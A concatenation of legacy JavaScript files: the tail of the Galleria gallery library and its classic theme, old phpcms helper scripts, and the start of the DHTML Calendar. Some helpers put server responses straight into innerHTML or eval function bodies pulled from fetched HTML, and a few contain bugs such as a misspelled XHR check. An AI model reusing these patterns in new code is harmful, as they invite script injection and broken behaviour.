1 ) { nw = cw * r; nh = ch * r; $( this.image ).css({ top: ch/2-nh/2, left: cw/2-nw/2, position: 'absolute' }); } else { $( this.image ).css({ top: 0, left: 0 }); } } $( this.image ).width( nw || cw ).height( nh || ch ).removeAttr( 'width' ).removeAttr( 'height' ); $( this.container ).width( cw ).height( ch ); options.complete.call(self, self); try { if( this.image.contentWindow ) { $( this.image.contentWindow ).trigger('resize'); } } catch(e) {} return this.container; } // return the element if no image found if (!this.image) { return this.container; } // store locale variables var width, height, $container = $( self.container ), data; // wait for the width/height Utils.wait({ until: function() { width = options.width || $container.width() || Utils.parseValue( $container.css('width') ); height = options.height || $container.height() || Utils.parseValue( $container.css('height') ); return width && height; }, success: function() { // calculate some cropping var newWidth = ( width - options.margin * 2 ) / self.original.width, newHeight = ( height - options.margin * 2 ) / self.original.height, min = M.min( newWidth, newHeight ), max = M.max( newWidth, newHeight ), cropMap = { 'true' : max, 'width' : newWidth, 'height': newHeight, 'false' : min, 'landscape': self.original.width > self.original.height ? max : min, 'portrait': self.original.width < self.original.height ? max : min }, ratio = cropMap[ options.crop.toString() ], canvasKey = ''; // allow maxScaleRatio if ( options.max ) { ratio = M.min( options.max, ratio ); } // allow minScaleRatio if ( options.min ) { ratio = M.max( options.min, ratio ); } $.each( ['width','height'], function( i, m ) { $( self.image )[ m ]( self[ m ] = self.image[ m ] = M.round( self.original[ m ] * ratio ) ); }); $( self.container ).width( width ).height( height ); if ( options.canvas && _canvas ) { _canvas.elem.width = self.width; _canvas.elem.height = self.height; canvasKey = self.image.src + ':' + self.width + 'x' + self.height; self.image.src = _canvas.cache[ canvasKey ] || (function( key ) { _canvas.context.drawImage(self.image, 0, 0, self.original.width*ratio, self.original.height*ratio); try { data = _canvas.elem.toDataURL(); _canvas.length += data.length; _canvas.cache[ key ] = data; return data; } catch( e ) { return self.image.src; } }( canvasKey ) ); } // calculate image_position var pos = {}, mix = {}, getPosition = function(value, measure, margin) { var result = 0; if (/\%/.test(value)) { var flt = parseInt( value, 10 ) / 100, m = self.image[ measure ] || $( self.image )[ measure ](); result = M.ceil( m * -1 * flt + margin * flt ); } else { result = Utils.parseValue( value ); } return result; }, positionMap = { 'top': { top: 0 }, 'left': { left: 0 }, 'right': { left: '100%' }, 'bottom': { top: '100%' } }; $.each( options.position.toLowerCase().split(' '), function( i, value ) { if ( value === 'center' ) { value = '50%'; } pos[i ? 'top' : 'left'] = value; }); $.each( pos, function( i, value ) { if ( positionMap.hasOwnProperty( value ) ) { $.extend( mix, positionMap[ value ] ); } }); pos = pos.top ? $.extend( pos, mix ) : mix; pos = $.extend({ top: '50%', left: '50%' }, pos); // apply position $( self.image ).css({ position : 'absolute', top : getPosition(pos.top, 'height', height), left : getPosition(pos.left, 'width', width) }); // show the image self.show(); // flag ready and call the callback self.ready = true; options.complete.call( self, self ); }, error: function() { Galleria.raise('Could not scale image: '+self.image.src); }, timeout: 1000 }); return this; } }; // our own easings $.extend( $.easing, { galleria: function (_, t, b, c, d) { if ((t/=d/2) < 1) { return c/2*t*t*t + b; } return c/2*((t-=2)*t*t + 2) + b; }, galleriaIn: function (_, t, b, c, d) { return c*(t/=d)*t + b; }, galleriaOut: function (_, t, b, c, d) { return -c *(t/=d)*(t-2) + b; } }); // Forked version of Ainos Finger.js for native-style touch Galleria.Finger = (function() { var abs = M.abs; // test for translate3d support var has3d = Galleria.HAS3D = (function() { var el = doc.createElement('p'), has3d, t = ['webkit','O','ms','Moz',''], s, i=0, a = 'transform'; DOM().html.insertBefore(el, null); for (; t[i]; i++) { s = t[i] ? t[i]+'Transform' : a; if (el.style[s] !== undefined) { el.style[s] = "translate3d(1px,1px,1px)"; has3d = $(el).css(t[i] ? '-'+t[i].toLowerCase()+'-'+a : a); } } DOM().html.removeChild(el); return (has3d !== undefined && has3d.length > 0 && has3d !== "none"); }()); // request animation shim var requestFrame = (function(){ var r = 'RequestAnimationFrame'; return window.requestAnimationFrame || window['webkit'+r] || window['moz'+r] || window['o'+r] || window['ms'+r] || function( callback ) { window.setTimeout(callback, 1000 / 60); }; }()); var Finger = function(elem, options) { // default options this.config = { start: 0, duration: 500, onchange: function() {}, oncomplete: function() {}, easing: function(x,t,b,c,d) { return -c * ((t=t/d-1)*t*t*t - 1) + b; // easeOutQuart } }; this.easeout = function (x, t, b, c, d) { return c*((t=t/d-1)*t*t*t*t + 1) + b; }; if ( !elem.children.length ) { return; } var self = this; // extend options $.extend(this.config, options); this.elem = elem; this.child = elem.children[0]; this.to = this.pos = 0; this.touching = false; this.start = {}; this.index = this.config.start; this.anim = 0; this.easing = this.config.easing; if ( !has3d ) { this.child.style.position = 'absolute'; this.elem.style.position = 'relative'; } // Bind event handlers to context $.each(['ontouchstart','ontouchmove','ontouchend','setup'], function(i, fn) { self[fn] = (function(caller) { return function() { caller.apply( self, arguments ); }; }(self[fn])); }); // the physical animator this.setX = function() { var style = self.child.style; if (!has3d) { // this is actually faster than CSS3 translate style.left = self.pos+'px'; return; } style.MozTransform = style.webkitTransform = style.transform = 'translate3d(' + self.pos + 'px,0,0)'; return; }; // bind events $(elem).on('touchstart', this.ontouchstart); $(window).on('resize', this.setup); $(window).on('orientationchange', this.setup); // set up width this.setup(); // start the animations (function animloop(){ requestFrame(animloop); self.loop.call( self ); }()); }; Finger.prototype = { constructor: Finger, setup: function() { this.width = $( this.elem ).width(); this.length = M.ceil( $(this.child).width() / this.width ); if ( this.index !== 0 ) { this.index = M.max(0, M.min( this.index, this.length-1 ) ); this.pos = this.to = -this.width*this.index; } }, setPosition: function(pos) { this.pos = pos; this.to = pos; }, ontouchstart: function(e) { var touch = e.originalEvent.touches; this.start = { pageX: touch[0].pageX, pageY: touch[0].pageY, time: +new Date() }; this.isScrolling = null; this.touching = true; this.deltaX = 0; $doc.on('touchmove', this.ontouchmove); $doc.on('touchend', this.ontouchend); }, ontouchmove: function(e) { var touch = e.originalEvent.touches; // ensure swiping with one touch and not pinching if( touch && touch.length > 1 || e.scale && e.scale !== 1 ) { return; } this.deltaX = touch[0].pageX - this.start.pageX; // determine if scrolling test has run - one time test if ( this.isScrolling === null ) { this.isScrolling = !!( this.isScrolling || M.abs(this.deltaX) < M.abs(touch[0].pageY - this.start.pageY) ); } // if user is not trying to scroll vertically if (!this.isScrolling) { // prevent native scrolling e.preventDefault(); // increase resistance if first or last slide this.deltaX /= ( (!this.index && this.deltaX > 0 || this.index == this.length - 1 && this.deltaX < 0 ) ? ( M.abs(this.deltaX) / this.width + 1.8 ) : 1 ); this.to = this.deltaX - this.index * this.width; } e.stopPropagation(); }, ontouchend: function(e) { this.touching = false; // determine if slide attempt triggers next/prev slide var isValidSlide = +new Date() - this.start.time < 250 && M.abs(this.deltaX) > 40 || M.abs(this.deltaX) > this.width/2, isPastBounds = !this.index && this.deltaX > 0 || this.index == this.length - 1 && this.deltaX < 0; // if not scrolling vertically if ( !this.isScrolling ) { this.show( this.index + ( isValidSlide && !isPastBounds ? (this.deltaX < 0 ? 1 : -1) : 0 ) ); } $doc.off('touchmove', this.ontouchmove); $doc.off('touchend', this.ontouchend); }, show: function( index ) { if ( index != this.index ) { this.config.onchange.call(this, index); } else { this.to = -( index*this.width ); } }, moveTo: function( index ) { if ( index != this.index ) { this.pos = this.to = -( index*this.width ); this.index = index; } }, loop: function() { var distance = this.to - this.pos, factor = 1; if ( this.width && distance ) { factor = M.max(0.5, M.min(1.5, M.abs(distance / this.width) ) ); } // if distance is short or the user is touching, do a 1-1 animation if ( this.touching || M.abs(distance) <= 1 ) { this.pos = this.to; distance = 0; if ( this.anim && !this.touching ) { this.config.oncomplete( this.index ); } this.anim = 0; this.easing = this.config.easing; } else { if ( !this.anim ) { // save animation parameters this.anim = { start: this.pos, time: +new Date(), distance: distance, factor: factor, destination: this.to }; } // check if to has changed or time has run out var elapsed = +new Date() - this.anim.time; var duration = this.config.duration*this.anim.factor; if ( elapsed > duration || this.anim.destination != this.to ) { this.anim = 0; this.easing = this.easeout; return; } // apply easing this.pos = this.easing( null, elapsed, this.anim.start, this.anim.distance, duration ); } this.setX(); } }; return Finger; }()); // the plugin initializer $.fn.galleria = function( options ) { var selector = this.selector; // try domReady if element not found if ( !$(this).length ) { $(function() { if ( $( selector ).length ) { // if found on domReady, go ahead $( selector ).galleria( options ); } else { // if not, try fetching the element for 5 secs, then raise a warning. Galleria.utils.wait({ until: function() { return $( selector ).length; }, success: function() { $( selector ).galleria( options ); }, error: function() { Galleria.raise('Init failed: Galleria could not find the element "'+selector+'".'); }, timeout: 5000 }); } }); return this; } return this.each(function() { // destroy previous instance and prepare for new load if ( $.data(this, 'galleria') ) { $.data( this, 'galleria' ).destroy(); $( this ).find( '*' ).hide(); } // load the new gallery $.data( this, 'galleria', new Galleria().init( this, options ) ); }); }; // export as AMD or CommonJS if ( typeof module === "object" && module && typeof module.exports === "object" ) { module.exports = Galleria; } else { window.Galleria = Galleria; if ( typeof define === "function" && define.amd ) { define( "galleria", ['jquery'], function() { return Galleria; } ); } } // phew }( jQuery, this ) );
JavaScript
/** * Galleria Classic Theme 2012-08-08 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */ (function($) { /*global window, jQuery, Galleria */ Galleria.addTheme({ name: 'classic', author: 'Galleria', css: 'galleria.classic.css', defaults: { transition: 'slide', thumbCrop: 'height', // set this to false if you want to show the caption all the time: _toggleInfo: true }, init: function(options) { Galleria.requires(1.33, 'This version of Classic theme requires Galleria 1.3.3 or later'); // add some elements this.addElement('info-link','info-close'); this.append({ 'info' : ['info-link','info-close'] }); // cache some stuff var info = this.$('info-link,info-close,info-text'), touch = Galleria.TOUCH; // show loader & counter with opacity this.$('loader,counter').show().css('opacity', 0.4); // some stuff for non-touch browsers if (! touch ) { this.addIdleState( this.get('image-nav-left'), { left:-50 }); this.addIdleState( this.get('image-nav-right'), { right:-50 }); this.addIdleState( this.get('counter'), { opacity:0 }); } // toggle info if ( options._toggleInfo === true ) { info.bind( 'click:fast', function() { info.toggle(); }); } else { info.show(); this.$('info-link, info-close').hide(); } // bind some stuff this.bind('thumbnail', function(e) { if (! touch ) { // fade thumbnails $(e.thumbTarget).css('opacity', 0.6).parent().hover(function() { $(this).not('.active').children().stop().fadeTo(100, 1); }, function() { $(this).not('.active').children().stop().fadeTo(400, 0.6); }); if ( e.index === this.getIndex() ) { $(e.thumbTarget).css('opacity',1); } } else { $(e.thumbTarget).css('opacity', this.getIndex() ? 1 : 0.6).bind('click:fast', function() { $(this).css( 'opacity', 1 ).parent().siblings().children().css('opacity', 0.6); }); } }); var activate = function(e) { $(e.thumbTarget).css('opacity',1).parent().siblings().children().css('opacity', 0.6); }; this.bind('loadstart', function(e) { if (!e.cached) { this.$('loader').show().fadeTo(200, 0.4); } window.setTimeout(function() { activate(e); }, touch ? 300 : 0); this.$('info').toggle( this.hasInfo() ); }); this.bind('loadfinish', function(e) { this.$('loader').fadeOut(200); }); } }); }(jQuery));
JavaScript
var phpcms_path = '/'; var cookiepre = 'phpcms_';
JavaScript
var xmlHttp; var msXml = new Array(); msXml[0] = "Microsoft.XMLHTTP"; msXml[1] = "MSXML2.XMLHTTP.5.0"; msXml[2] = "MSXML2.XMLHTTP.4.0"; msXml[3] = "MSXML2.XMLHTTP.3.0"; msXml[4] = "MSXML2.XMLHTTP"; if (window.xmlHttpRequest) { xmlHttp = new xmlHttpRequest(); } else { for (var i = 0; i < msXml.length; i++) { try { xmlHttp = new ActiveXObject(msXml[i]); break; } catch (e) { xmlHttp = new XMLHttpRequest(); } } }
JavaScript
function externallinks() { if(!document.getElementsByTagName) return; var anchors = document.getElementsByTagName("a"); for(var i=0; i<anchors.length; i++) { var anchor = anchors[i]; if(anchor.getAttribute("href") && anchor.getAttribute("rel") == "external") anchor.target = "_blank"; } } window.onload = externallinks; function fod(obj,name) { var p = obj.parentNode.getElementsByTagName("li"); var p1 = document.getElementById(name).getElementsByTagName("div"); for(i=0;i<p1.length;i++) { if(obj==p[i]) { p[i].className = "s"; p1[i].className = "dis"; } else { p[i].className = ""; p1[i].className = "undis"; } } }
JavaScript
var xmlHttp; var msXml = new Array(); msXml[0] = "Microsoft.XMLHTTP"; msXml[1] = "MSXML2.XMLHTTP.5.0"; msXml[2] = "MSXML2.XMLHTTP.4.0"; msXml[3] = "MSXML2.XMLHTTP.3.0"; msXml[4] = "MSXML2.XMLHTTP"; if (window.xmlHttpRequest) { xmlHttp = new xmlHttpRequest(); } else { for (var i = 0; i < msXml.length; i++) { try { xmlHttp = new ActiveXObject(msXml[i]); break; } catch (e) { xmlHttp = new XMLHttpRequest(); } } }
JavaScript
function externallinks() { if(!document.getElementsByTagName) return; var anchors = document.getElementsByTagName("a"); for(var i=0; i<anchors.length; i++) { var anchor = anchors[i]; if(anchor.getAttribute("href") && anchor.getAttribute("rel") == "external") anchor.target = "_blank"; } } window.onload = externallinks; function fod(obj,name) { var p = obj.parentNode.getElementsByTagName("li"); var p1 = document.getElementById(name).getElementsByTagName("div"); for(i=0;i<p1.length;i++) { if(obj==p[i]) { p[i].className = "s"; p1[i].className = "dis"; } else { p[i].className = ""; p1[i].className = "undis"; } } }
JavaScript
var url = phpcms_path+"area.php"; function loadprovince() { var pars = "action=province"; var myAjax = new Ajax.Request(url, {method: 'get', parameters: pars, onComplete: setprovince}); } function setprovince(Request) { var text = Request.responseText; var provinces = text.split(","); var currprovince = enterValue(provinces, $('province')); loadcity(currprovince); } function loadcity(province) { var pars = "action=city&province="+province; var cAjax = new Ajax.Request(url, {method: 'get', parameters: pars, onComplete: setcity}); } function setcity(Request) { var text = Request.responseText; var citys = text.split(","); var currcity = enterValue(citys, $('city')); loadarea($('province').value, currcity); } function loadarea(province,city) { var pars = "action=area&province="+province+"&city="+city; var aAjax = new Ajax.Request(url, {method: 'get', parameters: pars, onComplete: setarea}); } function setarea(Request) { var text = Request.responseText; var areas = text.split(","); enterValue(areas, $('area')); } function enterValue(cell,place) { clearPreValue(place); var selectedval = cell[0]; for(i=0; i<cell.length; i++) { isselected = addOption(place, cell[i], cell[i]); if(isselected) { place.options[i].selected = true; selectedval = cell[i]; } } return selectedval; } function addOption(objSelectNow,txt,val) { var objOption = document.createElement("option"); objOption.text = txt; objOption.value = val; objSelectNow.options.add(objOption); return objOption.value == selectedprovince || objOption.value == selectedcity || objOption.value == selectedarea; } function clearPreValue(pc) { while(pc.hasChildNodes()) pc.removeChild(pc.childNodes[0]); } loadprovince();
JavaScript
<!-- // linkpic var linkpic=new Array(); var linkurl=new Array(); var linktitle=new Array(); var picnum=0; var istitle=0; var preloadedimages=new Array(); for (i=1;i<linkpic.length;i++){ preloadedimages[i]=new Image(); preloadedimages[i].src=linkpic[i]; } function setTransition(){ if (document.all){ if(transition==-1) { picrotator.filters.revealTrans.Transition=Math.floor(Math.random()*23); }else{ picrotator.filters.revealTrans.Transition=transition; } picrotator.filters.revealTrans.apply(); } } function playTransition(){ if (document.all) picrotator.filters.revealTrans.play() } function nextpic(){ if(linkpic.length==0)return false; if(picnum<linkpic.length-1)picnum++ ; else picnum=0; setTransition(); document.images.picrotator.src=linkpic[picnum]; if(istitle){ document.getElementById("picarticletitle").innerHTML="<a href='"+linkurl[picnum]+"' target='_blank'>"+linktitle[picnum]+"</a>"; }else{ document.getElementById("picarticletitle").innerHTML=""; } playTransition(); theTimer=setTimeout("nextpic()", timeout); } function jump2url(){ jumpUrl=linkurl[picnum]; jumpTarget='_blank'; if (jumpUrl != ''){ if (jumpTarget != '')window.open(jumpUrl,jumpTarget); else location.href=jumpUrl; } } function displayStatusMsg() { status=linkurl[picnum]; document.returnValue = true; } //-->
JavaScript
function openwinx(url,name,w,h) { window.open(url,name,"top=100,left=400,width=" + w + ",height=" + h + ",toolbar=no,menubar=no,scrollbars=yes,resizable=no,location=no,status=no") } function Dialog(url,name,w,h) { return showModalDialog(url, name, 'dialogWidth:'+w+'px; dialogHeight:'+h+'px; help: no; scroll: yes; status: no'); } function setidval(id,value) { document.getElementById(id).innerHTML = value; } function getidval(id) { return document.getElementById(id).innerHTML; } function checkall(form) { for(var i = 0;i < form.elements.length; i++) { var e = form.elements[i]; if(e.name != 'chkall' && e.disabled != true) e.checked = form.chkall.checked; } } function redirect(url) { window.location.replace(url); } function confirmurl(url,message) { if(confirm(message)) location.href = url; } function confirmform(form,message) { if(confirm(message)) form.submit(); } function setcookie(name, value) { name = cookiepre+name; var argc = setcookie.arguments.length; var argv = setcookie.arguments; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } function deletecookie(name) { var exp = new Date(); exp.setTime (exp.getTime() - 1); var cval = getcookie(name); name = cookiepre+name; document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString(); } function getcookieval(offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function getcookie(name) { name = cookiepre+name; var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getcookieval(j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } var tID=0; function ShowTabs(ID) { var tTabTitle=document.getElementById("TabTitle"+tID); var tTabs=document.getElementById("Tabs"+tID); var TabTitle=document.getElementById("TabTitle"+ID); var Tabs=document.getElementById("Tabs"+ID); if(ID!=tID) { tTabTitle.className='title1'; TabTitle.className='title2'; tTabs.style.display='none'; Tabs.style.display=''; tID=ID; } } function ChangeInput (objSelect,objInput) { if (!objInput) return; var str = objInput.value; var arr = str.split(","); for (var i=0; i<arr.length; i++){ if(objSelect.value==arr[i])return; } if(objInput.value=='' || objInput.value==0 || objSelect.value==0){ objInput.value=objSelect.value }else{ objInput.value+=','+objSelect.value } } var flag=false; function setpicWH(ImgD,w,h) { var image=new Image(); image.src=ImgD.src; if(image.width>0 && image.height>0) { flag=true; if(image.width/image.height>= w/h) { if(image.width>w) { ImgD.width=w; ImgD.height=(image.height*w)/image.width; ImgD.style.display="block"; }else{ ImgD.width=image.width; ImgD.height=image.height; ImgD.style.display="block"; } }else{ if(image.height>h) { ImgD.height=h; ImgD.width=(image.width*h)/image.height; ImgD.style.display="block"; }else{ ImgD.width=image.width; ImgD.height=image.height; ImgD.style.display="block"; } } } } function checkradio(radio) { var result = false; for(var i=0; i<radio.length; i++) { if(radio[i].checked) { result = true; break; } } return result; } function checkselect(select) { var result = false; for(var i=0;i<select.length;i++) { if(select[i].selected && select[i].value!='' && select[i].value!=0) { result = true; break; } } return result; } var Browser = new Object(); Browser.isMozilla = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined') && (typeof HTMLDocument!='undefined'); Browser.isIE = window.ActiveXObject ? true : false; Browser.isFirefox = (navigator.userAgent.toLowerCase().indexOf("firefox")!=-1); Browser.isSafari = (navigator.userAgent.toLowerCase().indexOf("safari")!=-1); Browser.isOpera = (navigator.userAgent.toLowerCase().indexOf("opera")!=-1); var Common = new Object(); Common.htmlEncode = function(str) { return str.replace(/&/g, '&amp;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;'); } Common.trim = function(str) { return str.replace(/(^\s*)|(\s*$)/g, ""); } Common.strlen = function (str) { return str.replace(/[^\x00-\xff]/g, "**").length; } Common.isdate =function (str) { var result=str.match(/^(\d{4})(-|\/)(\d{1,2})\2(\d{1,2})$/); if(result==null) return false; var d=new Date(result[1], result[3]-1, result[4]); return (d.getFullYear()==result[1] && d.getMonth()+1==result[3] && d.getDate()==result[4]); } Common.isnumber = function(val) { var reg = /[\d|\.|,]+/; return reg.test(val); } Common.isalphanumber= function (str) { var result=str.match(/^[a-zA-Z0-9]+$/); if(result==null) return false; return true; } Common.isint = function(val) { var reg = /\d+/; return reg.test(val); } Common.isemail = function(email) { var reg = /([\w|_|\.|\+]+)@([-|\w]+)\.([A-Za-z]{2,4})/; return reg.test( email ); } Common.fixeventargs = function(e) { var evt = (typeof e == "undefined") ? window.event : e; return evt; } Common.srcelement = function(e) { if (typeof e == "undefined") e = window.event; var src = document.all ? e.srcElement : e.target; return src; } Common.isdatetime = function(val) { var result=str.match(/^(\d{4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/); if(result==null) return false; var d= new Date(result[1], result[3]-1, result[4], result[5], result[6], result[7]); return (d.getFullYear()==result[1]&&(d.getMonth()+1)==result[3]&&d.getDate()==result[4]&&d.getHours()==result[5]&&d.getMinutes()==result[6]&&d.getSeconds()==result[7]); }
JavaScript
var url = area_path+"area.php"; function areaload(areaid) { var pars = "action=ajax&areaid="+areaid+"&keyid="+area_keyid; var myAjax = new Ajax.Request(url, {method: 'get', parameters: pars, onComplete: setload}); } function setload(Request) { var text = Request.responseText; $('load_area').innerHTML = $('load_area').innerHTML + text + '&nbsp;'; } function reload() { $('areaid').value = ''; $('load_area').innerHTML = ''; areaload(0); } areaload(0);
JavaScript
var frame_id=1; var frame_data=new Array(); var frame_form=new Array(); var userAgent=navigator.userAgent.toLowerCase(); var is_ie=(userAgent.indexOf('msie') != -1); var is_opera=(userAgent.indexOf('opera') != -1); function FixPrototypeForGecko() { HTMLElement.prototype.__defineGetter__("runtimeStyle",element_prototype_get_runtimeStyle); window.constructor.prototype.__defineGetter__("event",window_prototype_get_event); Event.prototype.__defineGetter__("srcElement",event_prototype_get_srcElement); HTMLElement.prototype.__defineSetter__("outerHTML", setOuterHtml); HTMLElement.prototype.__defineGetter__("outerHTML", getOuterHtml); } function element_prototype_get_runtimeStyle() { return this.style; } function window_prototype_get_event() { return MTIR_searchevent(); } function event_prototype_get_srcElement() { return this.target; } function setOuterHtml(s) { var range=this.ownerDocument.createRange(); range.setStartBefore(this); var fragment=range.createContextualFragment(s); this.parentNode.replaceChild(fragment, this); } function getOuterHtml() { var s='<span'; var obj=this.attributes; for (i=0;i<obj.length;i++) { s+=' '+obj[i].nodeName+'="'+obj[i].nodeValue+'"'; } s+='></span>'; return s; } if(!is_opera && window.addEventListener) FixPrototypeForGecko(); function MTIR_searchevent() { if(document.all) return window.event; var func=MTIR_searchevent.caller; while(func!=null) { var arg0=func.arguments[0]; if(arg0) { if(arg0.constructor==Event || arg0.constructor==MouseEvent) return arg0; } func=func.caller; } return null; } function MTIR_create(src) { if (document.all && !is_opera) var _iframe=document.createElement("<iframe name='iframe_"+frame_id+"'></iframe>"); else { var _iframe=document.createElement("iframe"); _iframe.name='iframe_'+frame_id; } _iframe.id='iframe_'+frame_id; _iframe.style.display='none'; if (src!='') _iframe.src=src; document.body.appendChild(_iframe); if (_iframe.attachEvent) { _iframe.attachEvent('onload', MTIR_load); } else { _iframe.addEventListener('load', MTIR_load, false); } return _iframe.id; } function MTIR_elementa() { try{ target_event=MTIR_searchevent(); var obj=''; if (target_event.srcElement.tagName=='A' && target_event.srcElement.attributes._target.nodeName!='') { obj=target_event.srcElement; } else { if (target_event.srcElement.parentNode.tagName=='A' && target_event.srcElement.parentNode.attributes._target.nodeName!='') { obj=target_event.srcElement.parentNode; } } if (obj!='') { var _iframe=MTIR_create(obj.href); frame_data[frame_id]={ 'target':obj.attributes._target.nodeValue, 'obj':obj } try{ if (obj.attributes._addon.nodeName!='') { frame_data[frame_id]['addon']=true; frame_data[frame_id]['addonpos']=obj.attributes._addon.nodeValue; } } catch (e) {} if (is_ie || is_opera) { target_event.returnValue=false; target_event.cancelBubble=true; } else { target_event.stopPropagation(); target_event.preventDefault(); } frame_id++; return false; } } catch (e) {} } function MTIR_load() { target_event=MTIR_searchevent(); if (target_event.srcElement) var id=target_event.srcElement.id.substr(7); else var id=this.id.substr(7); window.setTimeout("MTIR_show('"+id+"')",1); } function MTIR_parse() { obj=document.getElementsByTagName('SPAN'); for(i=0;i<obj.length;i++) { try { if (obj[i].attributes._frame.nodeName!='') { obj[i].location=MTIR_location; } } catch (e) {} } obj=document.getElementsByTagName('FORM'); for(i=0;i<obj.length;i++) { try { if (obj[i].attributes._target.nodeName!='' && obj[i].target=='') { if (!isNaN(parseInt(frame_form[i]))) { eval("obj[i].target='iframe_"+frame_form[i]+"'"); frame_data[frame_form[i]]={ 'target':obj[i].attributes._target.nodeValue, 'noremove':true } try{ if (obj[i].attributes._addon.nodeName!='') { frame_data[frame_form[i]]['addon']=true; frame_data[frame_form[i]]['addonpos']=obj[i].attributes._addon.nodeValue; } } catch (e) {} } else { var form_iframe=MTIR_create(''); obj[i].target=form_iframe; frame_data[frame_id]={ 'target':obj[i].attributes._target.nodeValue, 'noremove':true } try{ if (obj[i].attributes._addon.nodeName!='') { frame_data[frame_id]['addon']=true; frame_data[frame_id]['addonpos']=obj[i].attributes._addon.nodeValue; } } catch (e) {} frame_form[i]=frame_id; frame_id++; } } } catch (e) {} } } function MTIR_show(lid) { var content=''; if (is_opera) { try { eval('content=iframe_'+lid+'.document.body.innerHTML'); } catch (e) {} } else content=document.getElementById('iframe_'+lid).contentWindow.document.body.innerHTML; if (content!='') { if (document.getElementById(frame_data[lid]['target'])) { if (frame_data[lid]['addon']==true) { var targetself=document.getElementById(frame_data[lid]['target']).outerHTML; switch (frame_data[lid]['addonpos']) { case 'before': document.getElementById(frame_data[lid]['target']).outerHTML=targetself+content; break; case 'replace': document.getElementById(frame_data[lid]['target']).outerHTML=content; break; default: document.getElementById(frame_data[lid]['target']).outerHTML=content+targetself; } } else document.getElementById(frame_data[lid]['target']).innerHTML=content; var r=/[\n\r]function\s+(\S+?)\((.*?)\)\s*?\{([\n\r\s\S]+?)[\n\r]\}/; var func_name, func_parm, func_body, v; var reg=new RegExp(r); v=reg.exec(content); while (v) { func_name=v[1];func_parm=v[2];func_body=v[3]; eval(func_name+'=new Function(func_parm, func_body)'); content=content.replace(v[0], ''); v=reg.exec(content); } var obj=document.getElementById('iframe_'+lid); if (frame_data[lid]['noremove']!=true) { obj.parentNode.removeChild(obj); frame_data[lid]=null; } MTIR_parse(); } } } function MTIR_location(URL, is_addon, is_before) { var _iframe=MTIR_create(URL); if (!is_before) is_before=''; frame_data[frame_id]={ 'target':this.id, 'addon':is_addon, 'addonpos':is_before } frame_id++; } function MTIR_onload(noinit) { MTIR_parse(); try { frame_init(); } catch (e) {} } function frame(obj) { try { var obj=document.getElementById(obj); if (obj.tagName=='SPAN' && obj.attributes._frame.nodeName!='') return obj; else return false; } catch (e) {return false;} } if (document.attachEvent) { document.attachEvent('onclick', MTIR_elementa); window.attachEvent('onload', MTIR_onload); } else if (document.addEventListener) { document.addEventListener('click', MTIR_elementa, false); window.addEventListener('load', MTIR_onload, false); } MTIR_parse();
JavaScript
var url = area_path+"info_area.php"; function areaload(areaid) { var pars = "areaid="+areaid+"&channelid="+area_channelid; var myAjax = new Ajax.Request(url, {method: 'get', parameters: pars, onComplete: setload}); } function setload(Request) { var text = Request.responseText; $('load_area').innerHTML = $('load_area').innerHTML + text + '&nbsp;'; } function reload() { $('load_area').innerHTML = ''; areaload(0); } areaload(0);
JavaScript
/* Copyright Mihai Bazon, 2002-2005 | www.bazon.net/mishoo * The DHTML Calendar, version 1.0 "It is happening again" * Details and latest version at: * www.dynarch.com/projects/calendar * This script is developed by Dynarch.com. Visit us at www.dynarch.com. * This script is distributed under the GNU Lesser General Public License. * Read the entire license text here: http://www.gnu.org/licenses/lgpl.html // $Id: calendar.js,v 1.51 2005/03/07 16:44:31 mishoo Exp $ /** The Calendar object constructor. */ Calendar = function (firstDayOfWeek, dateStr, onSelected, onClose) {this.activeDiv = null;this.currentDateEl = null;this.getDateStatus = null; this.getDateToolTip = null;this.getDateText = null; this.timeout = null;this.onSelected = onSelected || null; this.onClose = onClose || null; this.dragging = false; this.hidden = false; this.minYear = 1970; this.maxYear = 2050; this.dateFormat = Calendar._TT["DEF_DATE_FORMAT"]; this.ttDateFormat = Calendar._TT["TT_DATE_FORMAT"]; this.isPopup = true; this.weekNumbers = true; this.firstDayOfWeek = typeof firstDayOfWeek == "number" ? firstDayOfWeek : Calendar._FD; this.showsOtherMonths = false; this.dateStr = dateStr; this.ar_days = null; this.showsTime = false; this.time24 = true; this.yearStep = 2; this.hiliteToday = true; this.multiple = null;this.table = null; this.element = null; this.tbody = null;this.firstdayname = null;this.monthsCombo = null;this.yearsCombo = null;this.hilitedMonth = null;this.activeMonth = null;this.hilitedYear = null; this.activeYear = null;this.dateClicked = false; if (typeof Calendar._SDN == "undefined") {if (typeof Calendar._SDN_len == "undefined")Calendar._SDN_len = 3;var ar = new Array();for (var i = 8; i > 0;) {ar[--i] = Calendar._DN[i].substr(0, Calendar._SDN_len);}Calendar._SDN = ar;if (typeof Calendar._SMN_len == "undefined")Calendar._SMN_len = 3;ar = new Array();for (var i = 12; i > 0;) {ar[--i] = Calendar._MN[i].substr(0, Calendar._SMN_len);}Calendar._SMN = ar;}};Calendar._C = null;Calendar.is_ie = ( /msie/i.test(navigator.userAgent) && !/opera/i.test(navigator.userAgent) );Calendar.is_ie5 = ( Calendar.is_ie && /msie 5\.0/i.test(navigator.userAgent) );Calendar.is_opera = /opera/i.test(navigator.userAgent);Calendar.is_khtml = /Konqueror|Safari|KHTML/i.test(navigator.userAgent);Calendar.getAbsolutePos = function(el) {var SL = 0, ST = 0;var is_div = /^div$/i.test(el.tagName);if (is_div && el.scrollLeft)SL = el.scrollLeft;if (is_div && el.scrollTop)ST = el.scrollTop;var r = { x: el.offsetLeft - SL, y: el.offsetTop - ST };if (el.offsetParent) {var tmp = this.getAbsolutePos(el.offsetParent);r.x += tmp.x;r.y += tmp.y;}return 